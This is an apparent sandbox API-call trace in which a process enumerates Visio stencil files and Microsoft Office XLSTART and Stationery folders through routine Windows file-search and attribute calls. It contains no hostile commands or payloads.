	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7cc200, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7cc200, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANESA_U.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6375700, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe6375700, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT_M.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x404d2f00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x404d2f00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT_M.VST", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc0bf00, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xefc0bf00, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT_U.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4511e300, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4511e300, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT_U.VST", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b6a000, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5b6a000, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x12a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="GARDEN_M.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbac8100, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfbac8100, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GARDEN_U.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x404bc00, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x404bc00, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x22800, dwReserved0=0x0, dwReserved1=0x0, cFileName="GDT_M.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cf700, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc5cf700, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x21a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="GDT_U.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54912c00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x54912c00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOMPLN_M.VST", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62df4800, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x62df4800, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x20800, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOMPLN_U.VST", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1979e600, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1979e600, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACCE_M.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f92f00, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x28f92f00, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACCE_U.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34e4f100, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x34e4f100, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x2f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACC_M.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d0b300, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40d0b300, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACC_U.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4deda200, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4deda200, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x26e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACD_M.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b0a9100, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5b0a9100, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x26a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACD_U.VSS", cAlternateFileName="")) returned 1
	[0053.271] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f65300, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f65300, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACEQ_M.VSS", cAlternateFileName="")) returned 1
	[0053.271] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4e8e00, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6f4e8e00, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x1b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACEQ_U.VSS", cAlternateFileName="")) returned 1
	[0053.271] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c68b000, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6c68b000, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC_M.VST", cAlternateFileName="")) returned 1
	[0053.271] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75f21800, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x75f21800, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x17e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC_U.VST", cAlternateFileName="")) returned 1
	[0053.271] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e21500, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x72e21500, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0xdc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDEF0_M.VSS", cAlternateFileName="")) returned 1
	[0053.271] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78547200, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x78547200, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDEF0_M.VST", cAlternateFileName="")) returned 1
	[0053.271] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76759c00, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76759c00, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDEF0_U.VSS", cAlternateFileName="")) returned 1
	[0053.271] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ab6cc00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7ab6cc00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDEF0_U.VST", cAlternateFileName="")) returned 1
	[0053.271] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b3a5000, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7b3a5000, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0xf400, dwReserved0=0x0, dwReserved1=0x0, cFileName="INTANN_M.VSS", cAlternateFileName="")) returned 1
	[0053.271] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81303100, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81303100, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0xec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="INTANN_U.VSS", cAlternateFileName="")) returned 1
	[0053.271] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3b800, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c3b800, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0xe400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRRIG_M.VSS", cAlternateFileName="")) returned 1
	[0053.271] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89886c00, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x89886c00, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRRIG_U.VSS", cAlternateFileName="")) returned 1
	[0053.272] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94430100, ftCreationTime.dwHighDateTime=0x1ca472d, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x94430100, ftLastWriteTime.dwHighDateTime=0x1ca472d, nFileSizeHigh=0x0, nFileSizeLow=0x67600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIL_M.VSS", cAlternateFileName="")) returned 1
	[0053.272] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a745a00, ftCreationTime.dwHighDateTime=0x1ca488a, ftLastAccessTime.dwLowDateTime=0x509c3400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a745a00, ftLastWriteTime.dwHighDateTime=0x1ca488a, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIL_M.VST", cAlternateFileName="")) returned 1
	[0053.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART" (normalized: "c:\\program files\\microsoft office\\office14\\xlstart"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery" (normalized: "c:\\program files\\microsoft office\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.446] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.447] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.447] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033" (normalized: "c:\\program files\\microsoft office\\stationery\\1033"), fInfoLevelId=0x0, lpFileInformation=0x12824be8 | out: lpFileInformation=0x12824be8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033" (normalized: "c:\\program files\\microsoft office\\stationery\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.447] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.448] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.449] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.gif"), fInfoLevelId=0x0, lpFileInformation=0x12825278 | out: lpFileInformation=0x12825278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x176f)) returned 1
	[0053.450] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.htm"), fInfoLevelId=0x0, lpFileInformation=0x128252c8 | out: lpFileInformation=0x128252c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7886800, ftCreationTime.dwHighDateTime=0x1c05f78, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7886800, ftLastWriteTime.dwHighDateTime=0x1c05f78, nFileSizeHigh=0x0, nFileSizeLow=0x224)) returned 1
	[0053.450] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.gif"), fInfoLevelId=0x0, lpFileInformation=0x12825318 | out: lpFileInformation=0x12825318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x2e)) returned 1
	[0053.450] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\DADSHIRT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\dadshirt.htm"), fInfoLevelId=0x0, lpFileInformation=0x12825368 | out: lpFileInformation=0x12825368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a1a8100, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a1a8100, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1e3)) returned 1
	[0053.450] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.gif"), fInfoLevelId=0x0, lpFileInformation=0x128253b8 | out: lpFileInformation=0x128253b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fc900, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fc900, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xd36)) returned 1
	[0053.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUDGESCH.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\judgesch.htm"), fInfoLevelId=0x0, lpFileInformation=0x12825408 | out: lpFileInformation=0x12825408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33233200, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33233200, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1fb)) returned 1
	[0053.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.gif"), fInfoLevelId=0x0, lpFileInformation=0x12825458 | out: lpFileInformation=0x12825458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a0f600, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a0f600, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xfc7)) returned 1
	[0053.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\JUNGLE.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\jungle.htm"), fInfoLevelId=0x0, lpFileInformation=0x128254a8 | out: lpFileInformation=0x128254a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48985c00, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48985c00, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x201)) returned 1
